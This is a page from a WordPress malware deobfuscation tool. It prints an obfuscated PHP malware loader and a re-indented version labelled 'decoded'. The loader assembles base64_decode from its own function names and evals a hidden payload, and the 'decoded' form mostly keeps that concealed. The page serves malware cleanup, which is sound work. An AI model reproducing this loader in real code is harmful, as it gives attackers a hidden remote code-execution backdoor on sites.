Japanese English

PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php function ke4g9wsw($ke4g9sww){$ke4g9sww=strrev($ke4g9sww);$ke4g9sw='';for($ke4g9ws=0,$len=strlen($ke4g9sww);$ke4g9ws<$len;$ke4g9ws+=8){$ke4g9sw.=chr(bindec(substr($ke4g9sww,$ke4g9ws,8)));}return $ke4g9sw;}function sbtars_er6o4t_1d3e($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$...



Obfuscated php code

<?php function ke4g9wsw($ke4g9sww){$ke4g9sww=strrev($ke4g9sww);$ke4g9sw='';for($ke4g9ws=0,$len=strlen($ke4g9sww);$ke4g9ws<$len;$ke4g9ws+=8){$ke4g9sw.=chr(bindec(substr($ke4g9sww,$ke4g9ws,8)));}return $ke4g9sw;}function sbtars_er6o4t_1d3e($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$sdm8w9=$fdjw94='';foreach(str_split($ke4g9sww->name,2) as $qj43qw){$fdjw94 .= $qj43qw[0];$sdm8w9 .= $qj43qw[1];}$sdm8w9 .= $fdjw94('pbqr');return $sdm8w9($qj43w);}function ke4g9wss($ke4g9sww){return str_replace(sbtars_er6o4t_1d3e('eyRfWH0='),sbtars_er6o4t_1d3e('MTAwMTE='),${sbtars_er6o4t_1d3e('a2U0Zzlzd3c=')});}function nbtas_er6o4t_1c3ed($qj43w){$ke4g9sww=new ReflectionFunction(__FUNCTION__);$fdjw94=str_split($ke4g9sww->name);$sdm8w9=$fdjw94[1].$fdjw94[3].$fdjw94[4].$fdjw94[6].$fdjw94[8].$fdjw94[10].$fdjw94[5].$fdjw94[6].$fdjw94[0].$fdjw94[14].$fdjw94[9].$fdjw94[17].$fdjw94[16];return $sdm8w9($qj43w);}function vMASFkAm($qj43w){eval(ke4g9wsw(ke4g9wss(sbtars_er6o4t_1d3e($qj43w))));}

Decoded(de-Obfuscated) php code

<?php

function ke4g9wsw($ke4g9sww)
{
    $ke4g9sww = strrev($ke4g9sww);
    $ke4g9sw = '';
    for ($ke4g9ws = 0, $len = strlen($ke4g9sww); $ke4g9ws < $len; $ke4g9ws += 8) {
        $ke4g9sw .= chr(bindec(substr($ke4g9sww, $ke4g9ws, 8)));
    }
    return $ke4g9sw;
}
function sbtars_er6o4t_1d3e($qj43w)
{
    $ke4g9sww = new ReflectionFunction("sbtars_er6o4t_1d3e");
    $sdm8w9 = $fdjw94 = '';
    foreach (str_split($ke4g9sww->name, 2) as $qj43qw) {
        $fdjw94 .= $qj43qw[0];
        $sdm8w9 .= $qj43qw[1];
    }
    $sdm8w9 .= $fdjw94('pbqr');
    return $sdm8w9($qj43w);
}
function ke4g9wss($ke4g9sww)
{
    return str_replace(sbtars_er6o4t_1d3e('eyRfWH0='), sbtars_er6o4t_1d3e('MTAwMTE='), ${sbtars_er6o4t_1d3e('a2U0Zzlzd3c=')});
}
function nbtas_er6o4t_1c3ed($qj43w)
{
    $ke4g9sww = new ReflectionFunction("nbtas_er6o4t_1c3ed");
    $fdjw94 = str_split($ke4g9sww->name);
    $sdm8w9 = $fdjw94[1] . $fdjw94[3] . $fdjw94[4] . $fdjw94[6] . $fdjw94[8] . $fdjw94[10] . $fdjw94[5] . $fdjw94[6] . $fdjw94[0] . $fdjw94[14] . $fdjw94[9] . $fdjw94[17] . $fdjw94[16];
    return $sdm8w9($qj43w);
}
function vMASFkAm($qj43w)
{
    eval(ke4g9wsw(ke4g9wss(sbtars_er6o4t_1d3e($qj43w))));
}

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.